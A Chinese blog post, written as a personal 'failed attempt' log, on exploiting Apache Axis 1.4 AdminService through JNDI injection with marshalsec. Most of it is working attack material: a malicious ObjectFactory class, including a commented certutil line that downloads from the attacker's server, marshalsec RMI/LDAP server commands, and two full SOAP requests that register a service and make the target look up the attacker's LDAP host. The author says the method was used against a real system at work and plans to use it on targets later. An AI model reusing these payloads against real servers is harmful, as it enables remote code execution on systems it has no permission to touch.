介绍
太惨了,虽然本地实验成功证明该漏洞在工作中遇到是可以利用的,而且在工作中其实也是实际利用了,但是最终由于文件写上去后是个静态资源目录,所有恶意后缀不解析,然后网站的目录又没有猜到,导致到现在也没有成功,而且在公司也测试了第二种方法,虽然能收到服务器连接的请求,但是RCE始终没有成功
今天我胖虎再在本地试一试,看看这是什么牛马,到底能不能成。
好吧又折腾两个多小时,还是没成,这是一次失败的记录。
通过两天的折腾,知道了不成功的一些因素:日志方式写文件需要目录正确;下面要写的方式不成功可能是jdk版本过高,因为jdk更新的时候考虑到了安全问题,所以将可利用的恶意类进行了限制,默认配置不允许执行。
PS:最终这是一篇失败的笔记,未测试成功。
复现步骤
Tomcat上一期已经安装好了,而且既然都安装了Tomcat那么Java也肯定是安装好了的;除此之外,需要下载marshalsec。
准备工作1
下载编译marshalsec:https://github.com/mbechler/marshalsec
下载后使用命令编译marshalse
编译需要在linux下进行,编译完后可以继续使用linux系统进行辅助,也可以将编译后的文件拷贝到windows系统下辅助也行。
// 一般情况下系统没有这个命令,所以失败了的话先安装maven即可
// yum install maven
cd marshalsec
mvn clean package -DskipTests
编译时突然断电了,截图没有,反正最后就是编译为了marshalsec-0.0.3-SNAPSHOT-all.jar,在marshalsec/target下
准备工作2
准备一个JNDI注入的java利用(exp)类,然后再准备一个验证(poc)类。其中利用类放置于vps服务器,poc类,放在任意安装了java环境的机器上即可。注意exp类中的命令,如果目标服务器是linux,则需要替换为linux的命令格式。
利用(exp)类,不只是局限于下述的写法,还有很多种形式,主要是不熟java:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class exp implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
// Runtime.getRuntime().exec("cmd.exe /c certutil -urlcache -f http://192.168.10.10:81");
// Axis服务器要执行的命令。
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] atgs) {
exec("test");
}
}
验证(poc)类:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class poc {
public static void main(String[] args) throws Exception {
//String uri = "ldap://192.168.10.10:8080/class/marshalsec/exp";
String uri = "rmi://192.168.1.100:8888/exp";
//说明1:/exp表明了exp.class文件和marshalsec.jar属于同级目录,若放置于class/marshalsec目录下需要修改uri
//说明2:/class/marshalsec/下是marshalsec自带的默认class类。
//说明3:若编译java文件出错时,可以把这些带中文的注释删掉在编译或者使用 javac -encoding urf-8 poc.java 编译
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
利用类以及验证类都准备好了过后,可以先编译运行下代码是否正常。
将编译好的exp.class上传到marshalsec所在的服务器上,注意vps所在的目录,这里我进入到了target目录:
若编译java文件出现诸如**错误: 编码GBK的不可映射字符**的错误,将编译的命令换成**javac --encoding UTF-8 exp.java**即可:
然后使用命令开启服务,端口设置为8080,就是上述poc类中uri的端口号,根据实际情况修改:
# 开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.10/#exp" 8080
# 开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.10/#exp" 8080
先分别测试下两个服务,哪个能够成功,因为exp类中执行的命令是打开一个计算器,所以直接使用java执行class文件测试即可。
LDAP验证
开场的ldap验证失败。
按道理说哈,ldap应该是会成功的,但是吧,windows server2019给我整不明白了,为了节约时间就不去研究里面的安全机制了,所以没有成功,我在我自己物理机上面成功了,说明上面代码也没有问题:
RMI验证
将poc里面的uri改为 rmi:// 相关
将marshalsec服务器的服务器更改为rmi:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.10/#exp" 8080
//注意#exp表明exp.class和marshalsec.jar文件处于同一级目录中
//若exp.class放置于class/marchalsec目录下,需要修改地址为类似x.x.x.x/class/marshalsec#exp
再次测试:
这里rmi失败是正常的,因为这个对jdk版本是有限制的,具体限制到哪个版本我就不清楚了,因为高版本的jdk会把图中的那个配置默认设置为**False**,需要将配置修改为**True**后才能行,然后就是怎么修改我也不会弄,毕竟实际环境中也没机会修改别人的配置,所以放弃RMI方式,后面使用LDAP方式继续测试。
RCE验证
访问我们的Axis服务,然后注册一个服务,调用需要用到的恶意类。
POST请求包:
POST /axis13/services/AdminService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 743
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soapenv:Body>
<ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<ns1:service name="RcService" provider="java:RPC">
<ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
服务注册成功后,去调用这个服务,测试RCE是否能够成功:
POST请求包:
POST /axis13/services/RcService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 788
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">
<soapenv:Header/>
<soapenv:Body>
<buil:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">
<item>
<key xsi:type="soapenc:string">jndiName</key>
<value xsi:type="soapenc:string">ldap://192.168.10.10:8080/exp</value>
</item>
</environment>
</buil:getService>
</soapenv:Body>
</soapenv:Envelope>
最终还是失败了,计算器没调出来,echo内容也没有成功,卡这里很久了,一直成功不了,不清楚是什么原因。
Java太难了…………
然后最后还是要记得卸载一下服务,上篇有说。
总结
代码审计咱也不会,还说可以去自行发现一下可利用的其他恶意类,但是真做不到啊,太难了太难了,就算发现了也不会利用。
就这样吧,一次失败的记录,留着,等哪天成功了再拿去目标上打一打。
还有就是,上面以及上一篇文章中所有的POST请求包都可以替换为GET请求的形式,因为AdminService基本上都是本机才能访问,一般都没开启远程访问的,所以很多时候都需要配合SSRF使用,但是若要配合SSRF就需要把POST请求包替换为GET请求,这个暂时还没研究过,可以参考 paper.seebug.org/1489 这篇文章是如何将POST请求转换为GET请求的,然后照着葫芦画瓢就行了。